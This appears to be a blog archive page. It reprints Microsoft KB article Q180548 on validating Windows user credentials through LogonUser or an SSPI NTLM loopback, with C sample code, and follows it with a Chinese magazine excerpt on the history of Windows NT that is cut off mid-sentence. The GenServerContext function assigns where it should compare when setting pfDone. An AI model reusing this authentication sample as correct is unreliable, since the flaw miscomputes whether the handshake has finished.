2005年07月02日
This article was previously published under Q180548

SUMMARY

Occasionally, you may want an application to verify a
user’s user name and password (hereafter referred to as credentials). You can
do this a couple of different ways, depending on the operating system on which
the application runs.

This article describes all of the common ways
to verify a user’s credentials and the special requirements for each method.


Note Collecting user credentials from a User-mode application can be
annoying to the users and can provide a possible security hole in the
enterprise computing environment. The Unified Logon requirement (a requirement
that the user should only be required to type their credentials one time at the
CTRL+ALT+DEL screen), was added to the Microsoft BackOffice logo requirements
for these very reasons. It is important to make sure that you really need to
gather credentials and that some other method of client/server validation is
not more appropriate. Consult the security documentation in the Platform SDK
for more information on impersonation and programming secured servers.

MORE INFORMATION

The LogonUser API has been available and documented since Windows NT 3.51, and
is commonly used to verify user credentials. This API is available on Windows
NT, Windows 2000, and Windows XP. Unfortunately, there are some restrictions on
using LogonUser that are not always convenient to satisfy.

The first
and biggest of these restrictions is that on Windows NT and Windows 2000, the
process that is calling LogonUser must have the SE_TCB_NAME privilege (in User
Manager, this is the "Act as part of the Operating System" right). The
SE_TCB_NAME privilege is very powerful and should not be granted to any
arbitrary user just so that they can run an application that needs to validate
credentials. The recommended method is to call LogonUser from a service that is
running in the local system account, because the local system account already
has the SE_TCB_NAME privilege.

Note LogonUser Win32 API does not require TCB privilege in Microsoft
Windows Server 2003, however, for downlevel compatibility, this is still the
best approach.

On Windows XP, it is no longer required that a process
have the SE_TCB_NAME privilege in order to call LogonUser. Therefore, the
simplest method to validate a user’s credentials on Windows XP, is to call the
LogonUser API.

One other problem with LogonUser is that the API is
not implemented on Windows 95, Windows 98, or Windows Millennium Edition.


As another option, you can use the Security Support Provider
Interface (SSPI) to do a network style logon with provided user credentials.
This method of validation has the advantage of not requiring any special
privilege, as well as working on all versions of Windows. The end result of
using the SSPI services to validate the credentials is a logon that is
analogous to calling the LogonUser API with the LOGON32_LOGON_NETWORK logon
type. The biggest downside to this type of logon is that you cannot access
remote network resources after impersonating a network type logon. If your
application is calling LogonUser with the LOGON32_LOGON_INTERACTIVE logon type
to workaround Windows NT’s inability to perform delegation, then the SSPI
logon/validation will probably not be a viable alternative.

The
sample code provided below shows how to call the SSPI services to perform
credential validation.

To use this method on Windows 95, Windows 98,
and Windows Millennium Edition, you also have to enable the NTLM security
services by opening Control Panel, Network, Access Control, and then selecting
User-level access control.

On Windows XP, the ForceGuest registry
value is set to 1 by default in the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

On a Windows XP computer that is a member of a workgroup:

If ForceGuest is enabled (set to 1), SSPI will always try
to log on using the Guest account.
If the Guest account is enabled, an SSPI logon will succeed
as Guest for any user credentials.
If the Guest account is disabled, an SSPI logon will fail
even for valid credentials.
If ForceGuest is disabled (set to 0), SSPI will log on as
the specified user.

Sample Code

///////////////////////////////////////////////////////////////////////////////
//
// SSPI Authentication Sample
//
// This program demonstrates how to use SSPI to authenticate user credentials.
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
// ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
// TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
// PARTICULAR PURPOSE.
//
// Copyright (C) 2001. Microsoft Corporation. All rights reserved.
///////////////////////////////////////////////////////////////////////////////

#define SECURITY_WIN32
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <sspi.h>

// Older versions of WinError.h does not have SEC_I_COMPLETE_NEEDED #define.
// So, in such SDK environment setup, we will include issperr.h which has the
// definition for SEC_I_COMPLETE_NEEDED. Include issperr.h only if
// SEC_I_COMPLETE_NEEDED is not defined.
#ifndef SEC_I_COMPLETE_NEEDED
#include <issperr.h>
#endif

typedef struct _AUTH_SEQ {
BOOL fInitialized;
BOOL fHaveCredHandle;
BOOL fHaveCtxtHandle;
CredHandle hcred;
struct _SecHandle hctxt;
} AUTH_SEQ, *PAUTH_SEQ;


// Function pointers
ACCEPT_SECURITY_CONTEXT_FN _AcceptSecurityContext = NULL;
ACQUIRE_CREDENTIALS_HANDLE_FN _AcquireCredentialsHandle = NULL;
COMPLETE_AUTH_TOKEN_FN _CompleteAuthToken = NULL;
DELETE_SECURITY_CONTEXT_FN _DeleteSecurityContext = NULL;
FREE_CONTEXT_BUFFER_FN _FreeContextBuffer = NULL;
FREE_CREDENTIALS_HANDLE_FN _FreeCredentialsHandle = NULL;
INITIALIZE_SECURITY_CONTEXT_FN _InitializeSecurityContext = NULL;
QUERY_SECURITY_PACKAGE_INFO_FN _QuerySecurityPackageInfo = NULL;


///////////////////////////////////////////////////////////////////////////////


void UnloadSecurityDll(HMODULE hModule) {

if (hModule)
FreeLibrary(hModule);

_AcceptSecurityContext = NULL;
_AcquireCredentialsHandle = NULL;
_CompleteAuthToken = NULL;
_DeleteSecurityContext = NULL;
_FreeContextBuffer = NULL;
_FreeCredentialsHandle = NULL;
_InitializeSecurityContext = NULL;
_QuerySecurityPackageInfo = NULL;
}


///////////////////////////////////////////////////////////////////////////////


HMODULE LoadSecurityDll() {

HMODULE hModule;
BOOL fAllFunctionsLoaded = FALSE;
TCHAR lpszDLL[MAX_PATH];
OSVERSIONINFO VerInfo;

//
// Find out which security DLL to use, depending on
// whether we are on NT or Win95 or 2000 or XP or Windows Server 2003
// We have to use security.dll on Windows NT 4.0.
// All other operating systems, we have to use Secur32.dll
//
VerInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (!GetVersionEx (&VerInfo)) // If this fails, something has gone wrong
{
return FALSE;
}

if (VerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
VerInfo.dwMajorVersion == 4 &&
VerInfo.dwMinorVersion == 0)
{
lstrcpy (lpszDLL, _T("security.dll"));
}
else
{
lstrcpy (lpszDLL, _T("secur32.dll"));
}


hModule = LoadLibrary(lpszDLL);
if (!hModule)
return NULL;

__try {

_AcceptSecurityContext = (ACCEPT_SECURITY_CONTEXT_FN)
GetProcAddress(hModule, "AcceptSecurityContext");
if (!_AcceptSecurityContext)
__leave;

#ifdef UNICODE
_AcquireCredentialsHandle = (ACQUIRE_CREDENTIALS_HANDLE_FN)
GetProcAddress(hModule, "AcquireCredentialsHandleW");
#else
_AcquireCredentialsHandle = (ACQUIRE_CREDENTIALS_HANDLE_FN)
GetProcAddress(hModule, "AcquireCredentialsHandleA");
#endif
if (!_AcquireCredentialsHandle)
__leave;

// CompleteAuthToken is not present on Windows 9x Secur32.dll
// Do not check for the availablity of the function if it is NULL;
_CompleteAuthToken = (COMPLETE_AUTH_TOKEN_FN)
GetProcAddress(hModule, "CompleteAuthToken");

_DeleteSecurityContext = (DELETE_SECURITY_CONTEXT_FN)
GetProcAddress(hModule, "DeleteSecurityContext");
if (!_DeleteSecurityContext)
__leave;

_FreeContextBuffer = (FREE_CONTEXT_BUFFER_FN)
GetProcAddress(hModule, "FreeContextBuffer");
if (!_FreeContextBuffer)
__leave;

_FreeCredentialsHandle = (FREE_CREDENTIALS_HANDLE_FN)
GetProcAddress(hModule, "FreeCredentialsHandle");
if (!_FreeCredentialsHandle)
__leave;

#ifdef UNICODE
_InitializeSecurityContext = (INITIALIZE_SECURITY_CONTEXT_FN)
GetProcAddress(hModule, "InitializeSecurityContextW");
#else
_InitializeSecurityContext = (INITIALIZE_SECURITY_CONTEXT_FN)
GetProcAddress(hModule, "InitializeSecurityContextA");
#endif
if (!_InitializeSecurityContext)
__leave;

#ifdef UNICODE
_QuerySecurityPackageInfo = (QUERY_SECURITY_PACKAGE_INFO_FN)
GetProcAddress(hModule, "QuerySecurityPackageInfoW");
#else
_QuerySecurityPackageInfo = (QUERY_SECURITY_PACKAGE_INFO_FN)
GetProcAddress(hModule, "QuerySecurityPackageInfoA");
#endif
if (!_QuerySecurityPackageInfo)
__leave;

fAllFunctionsLoaded = TRUE;

} __finally {

if (!fAllFunctionsLoaded) {
UnloadSecurityDll(hModule);
hModule = NULL;
}

}

return hModule;
}


///////////////////////////////////////////////////////////////////////////////


BOOL GenClientContext(PAUTH_SEQ pAS, PSEC_WINNT_AUTH_IDENTITY pAuthIdentity,
PVOID pIn, DWORD cbIn, PVOID pOut, PDWORD pcbOut, PBOOL pfDone) {

/*++

Routine Description:

Optionally takes an input buffer coming from the server and returns
a buffer of information to send back to the server. Also returns
an indication of whether or not the context is complete.

Return Value:

Returns TRUE if successful; otherwise FALSE.

--*/

SECURITY_STATUS ss;
TimeStamp tsExpiry;
SecBufferDesc sbdOut;
SecBuffer sbOut;
SecBufferDesc sbdIn;
SecBuffer sbIn;
ULONG fContextAttr;

if (!pAS->fInitialized) {

ss = _AcquireCredentialsHandle(NULL, _T("NTLM"),
SECPKG_CRED_OUTBOUND, NULL, pAuthIdentity, NULL, NULL,
&pAS->hcred, &tsExpiry);
if (ss < 0) {
fprintf(stderr, "AcquireCredentialsHandle failed with %08X\n", ss);
return FALSE;
}

pAS->fHaveCredHandle = TRUE;
}

// Prepare output buffer
sbdOut.ulVersion = 0;
sbdOut.cBuffers = 1;
sbdOut.pBuffers = &sbOut;

sbOut.cbBuffer = *pcbOut;
sbOut.BufferType = SECBUFFER_TOKEN;
sbOut.pvBuffer = pOut;

// Prepare input buffer
if (pAS->fInitialized) {
sbdIn.ulVersion = 0;
sbdIn.cBuffers = 1;
sbdIn.pBuffers = &sbIn;

sbIn.cbBuffer = cbIn;
sbIn.BufferType = SECBUFFER_TOKEN;
sbIn.pvBuffer = pIn;
}

ss = _InitializeSecurityContext(&pAS->hcred,
pAS->fInitialized ? &pAS->hctxt : NULL, NULL, 0, 0,
SECURITY_NATIVE_DREP, pAS->fInitialized ? &sbdIn : NULL,
0, &pAS->hctxt, &sbdOut, &fContextAttr, &tsExpiry);
if (ss < 0) {
// <winerror.h>
fprintf(stderr, "InitializeSecurityContext failed with %08X\n", ss);
return FALSE;
}

pAS->fHaveCtxtHandle = TRUE;

// If necessary, complete token
if (ss == SEC_I_COMPLETE_NEEDED || ss == SEC_I_COMPLETE_AND_CONTINUE) {

if (_CompleteAuthToken) {
ss = _CompleteAuthToken(&pAS->hctxt, &sbdOut);
if (ss < 0) {
fprintf(stderr, "CompleteAuthToken failed with %08X\n", ss);
return FALSE;
}
}
else {
fprintf (stderr, "CompleteAuthToken not supported.\n");
return FALSE;
}
}

*pcbOut = sbOut.cbBuffer;

if (!pAS->fInitialized)
pAS->fInitialized = TRUE;

*pfDone = !(ss == SEC_I_CONTINUE_NEEDED
|| ss == SEC_I_COMPLETE_AND_CONTINUE );

return TRUE;
}


///////////////////////////////////////////////////////////////////////////////


BOOL GenServerContext(PAUTH_SEQ pAS, PVOID pIn, DWORD cbIn, PVOID pOut,
PDWORD pcbOut, PBOOL pfDone) {

/*++

Routine Description:

Takes an input buffer coming from the client and returns a buffer
to be sent to the client. Also returns an indication of whether or
not the context is complete.

Return Value:

Returns TRUE if successful; otherwise FALSE.

--*/

SECURITY_STATUS ss;
TimeStamp tsExpiry;
SecBufferDesc sbdOut;
SecBuffer sbOut;
SecBufferDesc sbdIn;
SecBuffer sbIn;
ULONG fContextAttr;

if (!pAS->fInitialized) {

ss = _AcquireCredentialsHandle(NULL, _T("NTLM"),
SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &pAS->hcred,
&tsExpiry);
if (ss < 0) {
fprintf(stderr, "AcquireCredentialsHandle failed with %08X\n", ss);
return FALSE;
}

pAS->fHaveCredHandle = TRUE;
}

// Prepare output buffer
sbdOut.ulVersion = 0;
sbdOut.cBuffers = 1;
sbdOut.pBuffers = &sbOut;

sbOut.cbBuffer = *pcbOut;
sbOut.BufferType = SECBUFFER_TOKEN;
sbOut.pvBuffer = pOut;

// Prepare input buffer
sbdIn.ulVersion = 0;
sbdIn.cBuffers = 1;
sbdIn.pBuffers = &sbIn;

sbIn.cbBuffer = cbIn;
sbIn.BufferType = SECBUFFER_TOKEN;
sbIn.pvBuffer = pIn;

ss = _AcceptSecurityContext(&pAS->hcred,
pAS->fInitialized ? &pAS->hctxt : NULL, &sbdIn, 0,
SECURITY_NATIVE_DREP, &pAS->hctxt, &sbdOut, &fContextAttr,
&tsExpiry);
if (ss < 0) {
fprintf(stderr, "AcceptSecurityContext failed with %08X\n", ss);
return FALSE;
}

pAS->fHaveCtxtHandle = TRUE;

// If necessary, complete token
if (ss == SEC_I_COMPLETE_NEEDED || ss == SEC_I_COMPLETE_AND_CONTINUE) {

if (_CompleteAuthToken) {
ss = _CompleteAuthToken(&pAS->hctxt, &sbdOut);
if (ss < 0) {
fprintf(stderr, "CompleteAuthToken failed with %08X\n", ss);
return FALSE;
}
}
else {
fprintf (stderr, "CompleteAuthToken not supported.\n");
return FALSE;
}
}

*pcbOut = sbOut.cbBuffer;

if (!pAS->fInitialized)
pAS->fInitialized = TRUE;

*pfDone = !(ss = SEC_I_CONTINUE_NEEDED
|| ss == SEC_I_COMPLETE_AND_CONTINUE);

return TRUE;
}


///////////////////////////////////////////////////////////////////////////////


BOOL WINAPI SSPLogonUser(LPTSTR szDomain, LPTSTR szUser, LPTSTR szPassword) {

AUTH_SEQ asServer = {0};
AUTH_SEQ asClient = {0};
BOOL fDone = FALSE;
BOOL fResult = FALSE;
DWORD cbOut = 0;
DWORD cbIn = 0;
DWORD cbMaxToken = 0;
PVOID pClientBuf = NULL;
PVOID pServerBuf = NULL;
PSecPkgInfo pSPI = NULL;
HMODULE hModule = NULL;

SEC_WINNT_AUTH_IDENTITY ai;

__try {

hModule = LoadSecurityDll();
if (!hModule)
__leave;

// Get max token size
_QuerySecurityPackageInfo(_T("NTLM"), &pSPI);
cbMaxToken = pSPI->cbMaxToken;
_FreeContextBuffer(pSPI);

// Allocate buffers for client and server messages
pClientBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbMaxToken);
pServerBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbMaxToken);

// Initialize auth identity structure
ZeroMemory(&ai, sizeof(ai));
#if defined(UNICODE) || defined(_UNICODE)
ai.Domain = szDomain;
ai.DomainLength = lstrlen(szDomain);
ai.User = szUser;
ai.UserLength = lstrlen(szUser);
ai.Password = szPassword;
ai.PasswordLength = lstrlen(szPassword);
ai.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
#else
ai.Domain = (unsigned char *)szDomain;
ai.DomainLength = lstrlen(szDomain);
ai.User = (unsigned char *)szUser;
ai.UserLength = lstrlen(szUser);
ai.Password = (unsigned char *)szPassword;
ai.PasswordLength = lstrlen(szPassword);
ai.Flags = SEC_WINNT_AUTH_IDENTITY_ANSI;
#endif

// Prepare client message (negotiate) .
cbOut = cbMaxToken;
if (!GenClientContext(&asClient, &ai, NULL, 0, pClientBuf, &cbOut, &fDone))
__leave;

// Prepare server message (challenge) .
cbIn = cbOut;
cbOut = cbMaxToken;
if (!GenServerContext(&asServer, pClientBuf, cbIn, pServerBuf, &cbOut,
&fDone))
__leave;
// Most likely failure: AcceptServerContext fails with SEC_E_LOGON_DENIED
// in the case of bad szUser or szPassword.
// Unexpected Result: Logon will succeed if you pass in a bad szUser and
// the guest account is enabled in the specified domain.

// Prepare client message (authenticate) .
cbIn = cbOut;
cbOut = cbMaxToken;
if (!GenClientContext(&asClient, &ai, pServerBuf, cbIn, pClientBuf, &cbOut,
&fDone))
__leave;

// Prepare server message (authentication) .
cbIn = cbOut;
cbOut = cbMaxToken;
if (!GenServerContext(&asServer, pClientBuf, cbIn, pServerBuf, &cbOut,
&fDone))
__leave;

fResult = TRUE;

} __finally {

// Clean up resources
if (asClient.fHaveCtxtHandle)
_DeleteSecurityContext(&asClient.hctxt);

if (asClient.fHaveCredHandle)
_FreeCredentialsHandle(&asClient.hcred);

if (asServer.fHaveCtxtHandle)
_DeleteSecurityContext(&asServer.hctxt);

if (asServer.fHaveCredHandle)
_FreeCredentialsHandle(&asServer.hcred);

if (hModule)
UnloadSecurityDll(hModule);

HeapFree(GetProcessHeap(), 0, pClientBuf);
HeapFree(GetProcessHeap(), 0, pServerBuf);

}

return fResult;
}

void _tmain(int argc, TCHAR **argv)
{
if (argc != 4) return;

// argv[1] - Domain Name
// argv[2] - User Name
// argv[3] - Password
if (SSPLogonUser(argv[1], argv[2], argv[3]))
{
printf("User Credentials are valid\n");
}
else
printf("User Credentials are NOT valid\n");
}

APPLIES TO
Microsoft Win32 Application Programming Interface (API), when used with:
  Microsoft Windows 95 Service Pack 1
  Microsoft Windows 98 Standard Edition
  Microsoft Windows Millennium Edition
  the operating system: Microsoft Windows NT 4.0
  the operating system: Microsoft Windows 2000
  the operating system: Microsoft Windows XP
Keywords: 
kbapi kbfaq kbhowto kbkernbase kbsecurity KB180548
2005年06月08日

http://dzh.mop.com/topic/readSub.jsp?sid=4818217

2005年05月24日

作者/Paul Thurrott译者/蒋世滨

  本文节选自《Windows & .NET Magazine国际中文版》

  [导读]文章难度:中级★★★

 Mark Lucovsky、David Thompson,微软Windows
Server开发梦之队的资深成员,见证了十五年微软Windows
Server艰辛而辉煌的历程:NT团队组建,抛弃IBM的OS/2,与Intel的紧密结合,NT三度更名称雄天下,充满传奇色彩的Windows
Server 2003开发。本文将向您全方位展示这些鲜为人知的Windows Server故事。

  最近,我与Janet Robbins和Mike
Otey一起游览了微软公司,我们有幸面见了在Windows历史中最著名的两个人物:Mark Lucovsky和David
Thompson。在Windows NT的早期,Lucovsky和Thompson在这个重要软件项目的开发中扮演着关键角色。Mark
Lucovsky是著名的工程师,也是Windows Server的设计师,他与DEC公司的前雇员、NT设计师Dave
Cutler一起加入微软公司。他非凡的能力首先体现在如何使NT中数百成千的组件协同工作在一起。对技术的敏锐嗅觉,以及为将NT从基于OS/2的系统
转变成运行32位Windows程序的系统所做的早期努力,使Lucovsky声名远扬。David
Thompson是Windows服务器事业部副总裁,他于1990年加入微软,他当时领导一个LAN
Manager项目的高级开发组,后来又加入了NT团队,Thompson指导NT网络子系统的开发,确保该产品可以与其他非微软产品协同工作。

  微软组建NT梦之队

  “起初,我们将NT的运行目标定位于Intel i860 (代码号为N-Ten),一个令人生厌的RISC处理器。由于我们没有一台i860机器,我们不得不使用i860模拟器。这就是我们称之为NT的原因,因为它工作在‘N-Ten’上”

  ——Mark Lucovsky

  微软著名工程师、Windows Server设计师

  “我们在1988年11月作为一个小组一起到来。”Lucovsky告诉我们,并强
调NT团队的第一个任务是获取一台开发机器,后来是25MHz的386 PC机,具有110 MB硬盘和13
MB内存。“它们价高质次。”他笑着说。在头两周里,除了用Word编写原始设计文档外,没有什么重大的开发活动。

  最后,到了开始写代码的时候了。“大约在1988年12月中旬,我们核查了最初的代
码,”Lucovsky说道,“到1989年1月份时,它只具有一个在Intel
i860模拟器上引导的非常基本的系统。”实际上,这是NT名称的真正来由,据Lucovsky透露,“New
Technology”这个说法是在该产品取得市场成功后加上去的。“起初,我们将NT的运行目标定位于Intel i860
(代码号为N-Ten),一个令人生厌的RISC处理器。由于我们没有一台i860机器,我们不得不使用i860模拟器。这就是我们称之为NT的原因,因
为它工作在‘N-Ten’上。”

  1989年4月,新指定的NT团队有了在模拟器上运行的基本系统内核。“我们5个来
自DEC的家伙和来自微软的Steve
Wood一起开始工作,”Lucovsky说,“我们这个小组保持了很长时间,经过一个夏季,我们开始考虑:创建一个操作系统究竟有多难?我们制定了一个
用18个月完成NT的计划。但是我们忘记了一些重要的因素,比如用户模式、网络等等。”

  1989年之后,NT小组开始扩充。他们增加了正式的网络团队,和一个扩充的独立安
全性团队,他们先前负责文件系统和本地化开发。“在第一年中我们增加到50个人,”Lucovsky说,“在这一年中,我们最终得到了第一台i860原型
机,因此我们可以替换模拟器。我们开始查看上下文切换次数,试图找到一个方法让它工作得更好。我们几乎立即就发现i860将永远无法工作。因此,我们开始
着眼于MIPS体系,另一种RISC设计。”

  1989年12月,NT团队决定放弃i860并用MIPS
R3000芯片替换。“我们在真实硬件上无休止地引导NT,这样持续了两三个月,”Lucovsky告诉我们,“当我们移植到MIPS上之后,我们得到了
回报,我们将NT设计为可方便移植的,它几乎立即就开始工作了。这种改变没有带来太多的痛苦。”

  从这时起,NT团队迅速扩大,来自微软不同阵营的人现在都加入进来。当一种使用图形
的新风格被创立后,图形团队迅速增长。他们也开始将NT转向当时的主流PC处理器Intel
i386,Lucovsky解释了他们最初没有定位到i386的原因。“我们暂时避开386是为了避免局限于该体系,我们不想采用一个不可移植的构想。”
他说如果在一开始就定位于Intel系列芯片,则他们在早期就可以有一个较高性能的系统,但是那样就会长久地伤害NT,并且将很难跟上新体系结构的发展,
比如最近基于64位Itanium芯片的Windows Server 2003。

  NT变成Windows NT

  “我们的核心体系非常坚固,所以我们才能使NT从适应1990年的386-25,一直发展到今天适应嵌入式设备、64路64位多处理器的机器和以1000美元为单位的刀片式服务器。”

  ——David Thompson

  微软副总裁、Windows Server产品组

  “在1990年的春天,我们的MIPS版本继续曲折前进,同时我们开始狂热地开发
386的版本,”Lucovs说道,“这是另一个巨大突破。”那一年5月,微软发布了Windows
3.0,立即受到了全世界的关注。Windows由于其基于PC的图形功能而取得了非凡的成功。“我们开始研究Windows
3.0并且自问‘如果用32位的Windows版本替换OS/2将会怎样呢?’”Lucovsky又甩出一个更深层次的问题:“Steve
Wood、Scott Ludwig、一个图形工程师组的人以及我本人,我们4个家伙研究了16位的Windows
API,并研究如何将其延伸到32位。我们花了一个月完成了一半的API集合,然后把它交给100位设计评估者,看看他们的想法。”

  新的API最终命名为Win32,关键的一点是,尽管它是一个新的API,但是它看
上去和运行起来都与16位Windows
API相似,这使得开发人员可以很容易地将程序移植到新系统上。“我们使得16位程序可以非常容易地移植到NT上,”Lucovsky说,“并且这些程序
将得益于NT的独特功能,比如更大的寻址空间。我们也增加了许多16位版本中所没有的API。我们增加了主流的新功能,使它成为一个完整的操作系统
API,但我们使用了Windows程序员所熟悉的风格。”

  这在微软内部立即引起了反响。“当他们看到它是如此易用时,立刻就喜欢上了它,”
Lucovsky说,“它基于Windows而不是OS/2,它使用了一种完全不同的编程模式。”然而,替换OS/2产品,将NT变成一个32位的
Windows版本,带来了新的课题,其中并不完全是技术问题。微软不得不获取ISV和OEM审批,当然也要将这个改变通知IBM。“我们对IBM做了一
个ISV预览,足足有20多页,然后我们说:‘看,这就是我们要做的。’开始他们以为Win32不过是OS/2的一个迷人绰号,可是接下来你可以看看他们
的脸色:‘等一等,这不是OS/2!’”

  对OS/2的抛弃永远地伤害了两家公司的感情。“但是我们执行了审批,并且开始了进程,”Lucovsky说道,“因此我们选择了Win32运行NT,替代了OS/2子系统。”他说,那一刻,这个产品变成了Windows NT。

  NT的模块式结构为这个改变提供了便利。“应该感谢我们的微内核体系,它减弱了内核
与应用程序环境的关联程度,比如POSIX和Win32。我们不必改变内核,也不必从头开始编程,”Lucovsky告诉我们,“日程计划的内容不必更
改,我们在两周的时间里运行命令行应用程序。这时是1990年9月。”

  Thompson详细阐述了NT基础的重要性:“我们的核心体系非常坚固,所以我们才能使NT从适应1990年的386-25,一直发展到今天适应嵌入式设备、64路64位多处理器的机器和以1000美元为单位的刀片式服务器。我们可以为其提供全系列的服务。”

  1990年9月是Windows NT真正的转折点,同时也是Dave
Thompson加入NT团队的时间,他先前领导微软的Lanman for OS/2
3.1高级开发团队。“我们经受了转变,”Thompson告诉我们,“我们的队伍从28人增加到300人。我们有了第一个真正的产品计划。”

  NT大事记

  1988年10月31日:David Cutler抵达微软

  1988年11月:NT项目开始运作

  1993年7月27日:Windows NT 3.1发售

  1994年9月21日:Windows NT 3.5发售

  1995年5月30日:Windows NT 3.51发售

  1996年7月31日:Windows NT 4.0发售

  2000年2月17日:Windows 2000发售

  2001年10月25日:Windows XP发售

  2003年4月24日:Windows Server 2003发售

  1993年7月,Windows NT的第一个版本Windows NT
3.1发布了,版本号的命名与当时的16位Windows产品一致。那个版本的NT有桌面和服务器两个版本,并使用域形式的分布式安全机制。从那时起,
NT团队开始连续地发布产品,所有的开发都基于相同的底层代码。

  第二个发布版本Windows NT
3.5(代码名为Daytona)在1994年9月投放市场。“Daytona是一个非常有价值的项目,”Thompson说,“我们把焦点放在尺寸和性
能上,放在对3.1的功能进行完善上。Daytona有了显著的改进和增强。”Daytona最初的主题是尺寸、性能、压缩以及Netware兼容性。其
中的两个想法具有当时的时代特征:1990年以前,双倍压缩是一个热门话题,因为当时硬盘很昂贵;Netware也是当时占优势的网络操作系统。“我们最
终停止了压缩项目,”Thompson说,“但是Netware兼容性部分是具有战略意义的。Novell对NT桌面系统是矛盾的,他们不知道自己是否希
望创建一个客户端。我们提供了帮助,但是他们保持混乱,并且……我们做出了自己的。它是一个更好的Netware客户端,被用户使用了几年,尽管最后他们
也做了一个。这个客户端使NT桌面系统可以成为Netware的客户端,因为Netware当时是市场上的主流服务器系统。否则我们的NT桌面将卖不出
去。”

  Daytona也得益于新的编译器技术,它使微软可以压缩代码尺寸,也使NT桌面成为真正的低端系统。“结果是可统计的,”Thompson说。

  Windows NT 3.51是配合Power
PC发布的,因为它是围绕Power PC设计的,在3.5版本中没有提供对Power PC的支持。由于IBM经常延迟Power
PC芯片组的发布,导致了一个孤立的NT发布。“NT
3.51的发布非常不值,”Thompson说,与对Daytona的评价正相反。“Daytona完成后,为了等待IBM完成Power
PC,我们大概用了9个月进行错误修正。但是正因为如此,NT 3.51是非常稳固的,我们的客户喜欢它。”NT
3.51最终于1995年5月开始销售。

  接下来的Windows NT 4.0,开始采用Shell Update
Release(SUR),这是另一个得益于NT模块化结构的挑战性任务。“我们希望创建一个使用95外壳的桌面,但是它使用NT技术。”
Lucovsky告诉我们,“我们最终迁移了Win32
GUI组件,并使其作为进程内驱动。性能是受影响的一个方面,在一个不同的进程中运行这个API会带来问题。因此将代码迁移到作为运行时的相同上下文,将
解决大量问题。我们不必为GDI和USER做死锁检测。它是一个重大工作,但它解决了大量令人头疼的问题。”NT
4.0于1996年7月投放市场,它是NT系列产品的一个分水岭。

  Windows挤掉NT

  接下来的发布中,Windows
NT放弃了NT这个名字,成为简单的Windows。Thompson说这个决定来自市场队伍。“一个家伙从Windows市场部调到NT市场部,并且说
我们将在所有地方使用Windows这个名字。起初,改变名称令我们所有人都感觉不舒服,因为NT有很好的声誉。但是由于伴随Windows
2000一起推出的可靠性,人们开始谈论究竟Windows
2000比旧的NT要好多少,尽管它们基于相同的体系结构。所以这是一个偶然事件,Windows 2000没有一个代码名是因为Jim
Allchin不喜欢。”Thompson说。

  自从完成Windows
2000之后,Windows队伍所作的最大决定是在Whistler产品中,分别发布客户端和服务器,即现在的Windows XP和Windows
Server
2003。“这使得我们将焦点集中于服务器客户,他们现在更多地要求稳固性,”Thompson告诉我们,“桌面软件将按照PC制造者的销售周期同步发
售。这与服务器周期不同。”

  David
Thompson,微软公司Windows服务器事业部副总裁。1990年加入微软公司,在转入Windows
NT项目组之前,领导和负责公司的LAN Manager for OS/2项目。在开发Windows
NT期间,Thompson领导的开发团队在NT联网子系统方面作出优异贡献,不仅保证了该产品可以与微软产品协调工作,而且保持了与其他公司产品的兼容
性。

  Mark
Lucovsky,微软公司著名软件工程师和服务器构架设计师。1988年与Dave Cutler一起加入微软公司。他们都是前Digital
Equipment
Corporation(DEC)公司的杰出软件设计师。Lucovsky凭借在早期将NT从基于OS/2的系统迁移到32位Windows应用程序过程
中的杰出贡献和技术敏锐,受到众多工程师的敬佩。

  作者/Paul Thurrott译者/蒋世滨

  本文节选自《Windows & .NET Magazine国际中文版》

  “Windows团队的5000个开发者为Windows Server 2003编写了超过5000万行代码,这是一个艰巨的任务,是已尝试的最大的软件工程任务,没有任何软件项目可与之相比。”

  ——Mark Lucovsky

  NT系列操作系统从Windows NT发展到Windows
2000、XP,到现在的Windows Server
2003,尽管细节部分在戏剧性地改变,但有一个关键元素一直没有改变,这就是build操作。在微软内部,事实上每一天至少有一个Windows产品被
编译或生成为可执行代码,开发队伍可以立即对它进行测试。对于Windows Server
2003,这个过程在微软公司的26号大楼中达到了极致,在那里,成排的PC和CD复制机始终处于几个工程师连续监视下。

  “回想早年的日子,我们开始只有6个人,”Mark
Lucovsky告诉我们,“现在Windows团队有5000个成员,加上额外的5000合作伙伴,生产了超过5000万行的Windows
Server
2003代码。让所有人员遵从统一的领导制造代码是一个巨大的任务。生成他们的工作结果,编译并连接为可执行程序或其他组件,最后组成一个Windows
的CD,这个过程持续12到13小时,每一天都在进行。这是曾经尝试过的最大的软件工程任务。没有其他软件项目可与之相比。”几乎在每一天,微软编译所有
的东西——全部的5000万行代码,“我们始终在改进开发环境。”Lucovsky强调。

  “当我们开动机器时,我们编译全部的内容,”他说,“我们必须能够在任何时间点再生这个系统。开发者Check-In代码,我们按下按钮并产生系统。我们应该能够在未来3年内,使用不同的工具、编译器以及脚本再生系统。”

  David
Thompson详细介绍了这个过程。“关键在于我们整年地生成系统,并从三个方面推进它,”他说,“首先是产品本身,其次是我们设计产品的方法,第三是
我们与广大客户的交互途径。产品的进化是完美的,我们现在使用了全新的源码控制(Source code
control)系统。我们从已有的技术开始,Mark
Lucovsky亲自领导了新系统的开发,我们每天都会生成一个阶段性(Staged)Build,这些阶段性Build将形成最后完整的Build。我
们在持续发展的同时维持了稳定性——我们了解我们每天的进度。”

  吃掉它:微软端出狗食

  “有一天我收到了85个Check-In,那是我们当时可以有的最大数量,现在我们每天可以接收1000个以上,这是一个完全不同的比例,尽管现在白板实际上是电子的——基于Web的。”

  ——David Thompson

  Lucovsky回忆了一些往事,第一个NT原型是在他的办公室里生成的,然后他发
出一封邮件告诉NT团队,NT
Build准备就绪。于是NT团队的50多个人将“吃掉他们自己的狗食”,在他们自己的系统上测试这个Build并进行压力测试。“我们过去只是围绕这个
Build工作并写下我们发现的问题,”Lucovsky说,“这就是为什么它是pre-NT 3.51,现在我们有7个Build实验室。Dave
